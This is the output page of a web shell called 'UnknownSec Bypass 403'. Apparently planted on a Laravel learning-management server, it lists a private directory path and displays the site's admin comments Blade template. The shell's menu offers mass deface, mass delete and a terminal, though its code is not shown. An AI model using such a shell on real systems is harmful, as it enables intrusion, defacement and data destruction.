UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_702fba0946d4
/
resources
/
views
/
admin
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
comments.blade.php
@extends('layouts.admin') @section('styles') <style type="text/css"> #div-comment .well, .well { background-color: #F5FAFC; } #div-comment ul { margin: 0px; padding: 0px; } #div-comment ul>li { list-style: none; } #div-comment ul>li.div-answers { margin-left: 70px; } #replayComment { background-color: #143044; padding: 30px; display: none; border-radius: 5px; } #replayComment b { color: #fff; } .text-muted { color: #8DBCDE; } #last-comments { padding: 30px; padding-bottom: 10px; } #last-comments h3 { margin: 0px 0px 30px 0px; } #last-comments ul { margin: 0px; padding: 0px; } #last-comments ul li { list-style: none; margin-bottom: 20px; } </style> @stop @section('content') <div class="row"> <div class="col-lg-9 col-md-8 col-sm-7"> <div class="panel panel-default"> <div class="panel-body"> <div class="row"> {!! Form::model($data, ['method' => 'GET', 'url' => route('admin.comment.index'), 'id' => 'frmFilter']) !!} <div class="col-sm-6"> <div class="form-group"> <label>{!! trans('admin_comment.labelFilterCourses') !!}</label> {!! Form::select('course_id', $courses, null, ['class' => 'form-control', 'id' => 'courses']) !!} </div> </div> <div class="col-sm-6"> <div class="form-group"> <label>{!! trans('admin_comment.labelFilterLessons') !!}</label> {!! Form::select('resource_id', $resources, null, ['class' => 'form-control', 'id' => 'resources']) !!} </div> </div> {!! Form::close() !!} </div> </div> </div> <div class="row" id="div-comment"> @if(!empty($comments)) <div class="col-lg-12" id="div-my-video"> <div class="panel panel-default"> <div class="panel-body"> <br><h3>{!! trans('admin_comment.title') !!}</h3><br> <div id="newComment"> {!! Form::open(['method' => 'POST', 'class' => '', 'role' => 'form', 'url' => route('student.add.comment'), 'id' => 'create']) !!} {!! Form::hidden('resource_id', $comments->first()['resource_id']) !!} {!! Form::hidden('course_id', $comments->first()['course_id']) !!} {!! Form::hidden('module_id', $comments->first()['module_id']) !!} {!! Form::hidden('resource_type_id', $comments->first()['resource_type_id']) !!} {!! Form::hidden('return_url', \Request::fullUrl()) !!} <div class="form-group"> {!! Form::textarea('comment', null, ['class' => 'form-control', 'style' =>'height: 80px', 'id' => 'comment']) !!} </div> <div>{!! Form::submit(trans('admin_comment.btnSave'), ['class' => 'btn btn-success pull-right']) !!}</div> <div class="clearfix"></div> {!! Form::close() !!} </div><br> @foreach($comments as $comment) <ul> <li> <div class="row"> <div class="col-sm-1"> @if(isset($comment['user']['picture'])) <img width="45px" height="45px" src="/storage/profiles/pictures/{{$comment['user']['picture']}}" class="img-circle img-responsive" style="width: 45px; height: 45px;"> @else <img width="45px" height="45px" src="https://via.placeholder.com/45x45" class="img-circle img-responsive"> @endif </div> <div class="col-sm-11"> <div class="well" style="margin-left: -20px;"> <p><b>{{ $comment['user']['name'] }} <span class="pull-right text-muted"><small>{{ $comment['human_date'] }}</small></span></b></p> <p>{{ $comment['comment'] }}</p><br> <button class="btn btn-default btn-sm reply" commentId="{{ $comment['id'] }}">{!! trans('admin_comment.btnReply') !!}</button> <button class="btn btn-danger btn-sm delete-all" commentId="{{ $comment['id'] }}">{!! trans('admin_comment.btnDelete') !!}</button> </div> </div> </div> </li> <ul> @foreach($comment['comments'] as $answers) <li class="div-answers"> <div class="row"> <div class="col-sm-1"> @if(isset($comment['user']['picture'])) <img width="45px" height="45px" src="/storage/profiles/pictures/{{$comment['user']['picture']}}" class="img-circle img-responsive" style="width: 45px; height: 45px;"> @else <img width="45px" height="45px" src="https://via.placeholder.com/45x45" class="img-circle img-responsive"> @endif </div> <div class="col-sm-11"> <div class="well" style="margin-left: -20px;"> <p><b>{{ $answers['user']['name'] }} <span class="pull-right text-muted"><small>{{ $answers['human_date'] }}</small></span></b></p> <p>{{ $answers['comment'] }}</p><br> <button class="btn btn-danger btn-sm delete-reply" commentId="{{ $answers['id'] }}">{!! trans('admin_comment.btnDelete') !!}</button> </div> </div> </div> </li> @endforeach </ul> </ul> @endforeach <div class="row"><div class="col-sm-11 col-sm-offset-1"><div id="replayComment" style="margin-left: -20px;"><b>{!! trans('admin_comment.addReplayComment') !!}</b><br></div></div></div></div></div> </div> @endif </div> </div> <div class="col-lg-3 col-md-4 col-sm-5 hidden-xs"> <div class="panel panel-default"> <div class="panel-body" id="last-comments"> <div class="" id=""> <h3>{!! trans('admin_comment.titleLastComment') !!}</h3> <ul> @forelse($logs as $log) <li><i class="fa fa-arrow-right" aria-hidden="true"></i>{!! trans('admin_comment.textLog1') !!} {{$log->user->name}} {!! trans('admin_comment.textLog2') !!} {{substr($log->course->name, 0, 30)}} {!! trans('admin_comment.textLog3') !!} {{\EstudioLMS\Helpers\Helpers::getResourceTitle($log->resource_type_id, $log->resource_id)}} {!! trans('admin_comment.textLog4') !!} <span class="label label-default">{{$log->created_at}}</span></li> @empty <p>{!! trans('admin_comment.textNotComment') !!}</p> @endforelse </ul> {!! $logs->appends( [ 'course_id' => $data['course_id'], 'resource_id' => $data['resource_id'] ] )->render() !!} </div> </div> </div> </div> </div> @stop @section('scripts') <script> $(document).on('change', '#courses', function () { $('#resources').empty(); $('#frmFilter').submit(); }); $(document).on('change', '#resources', function () { $('#frmFilter').submit(); }); @if(!empty($comments)) $(document).on('click', '.reply', function () { let resourceId = '{{ $comments->first()['resource_id'] }}'; let courseId = '{{ $comments->first()['course_id'] }}'; let moduleId = '{{ $comments->first()['module_id'] }}'; let resourceTypeId = '{{ $comments->first()['resource_type_id'] }}'; let commentId = $(this).attr('commentId'); let returnUrl = '{{ \Request::fullUrl() }}'; //exibir a div para add o comentario $("#replayComment").show(); $("#replayComment").append('<form action="{{ route('student.add.comment.reply') }}" method="POST">'); $("#replayComment form").append('<input type="hidden" name="resource_id" value="' + resourceId +'" />'); $("#replayComment form").append('<input type="hidden" name="course_id" value="' + courseId + '" />'); $("#replayComment form").append('<input type="hidden" name="module_id" value="' + moduleId + '" />'); $("#replayComment form").append('<input type="hidden" name="resource_type_id" value="' + resourceTypeId +'" />'); $("#replayComment form").append('<input type="hidden" name="comment_id" value="' + commentId + '" />'); $("#replayComment form").append('<input type="hidden" name="return_url" value="' + returnUrl + '" />'); $("#replayComment form").append('<textarea rows="3" name="comment" class="form-control"></textarea>'); $("#replayComment form").append('<br><input type="submit" id="savebutton" class="btn btn-success btn-sm" value="{!! trans('admin_comment.btnSaveComment') !!}" />'); //rolar até a div do comentario $("html, body").animate({ scrollTop: $(document).height() }, 500); $('.reply').prop('disabled', !$(this).disabled); }); @endif $(document).on('click', '.delete-all', function () { let commentId = $(this).attr('commentId'); let returnUrl = '{{ \Request::fullUrl() }}'; $.ajax({ url: '{{ route('student.delete.comments.replies') }}', type: 'POST', data: {comment_id: commentId}, success: function (data) { window.location.reload(); } }); }); $(document).on('click', '.delete-reply', function () { let commentId = $(this).attr('commentId'); let returnUrl = '{{ \Request::fullUrl() }}'; $.ajax({ url: '{{ route('student.delete.reply') }}', type: 'POST', data: {comment_id: commentId}, success: function (data) { window.location.reload(); } }); }); </script> @stop
Copyright © 2026 - UnknownSec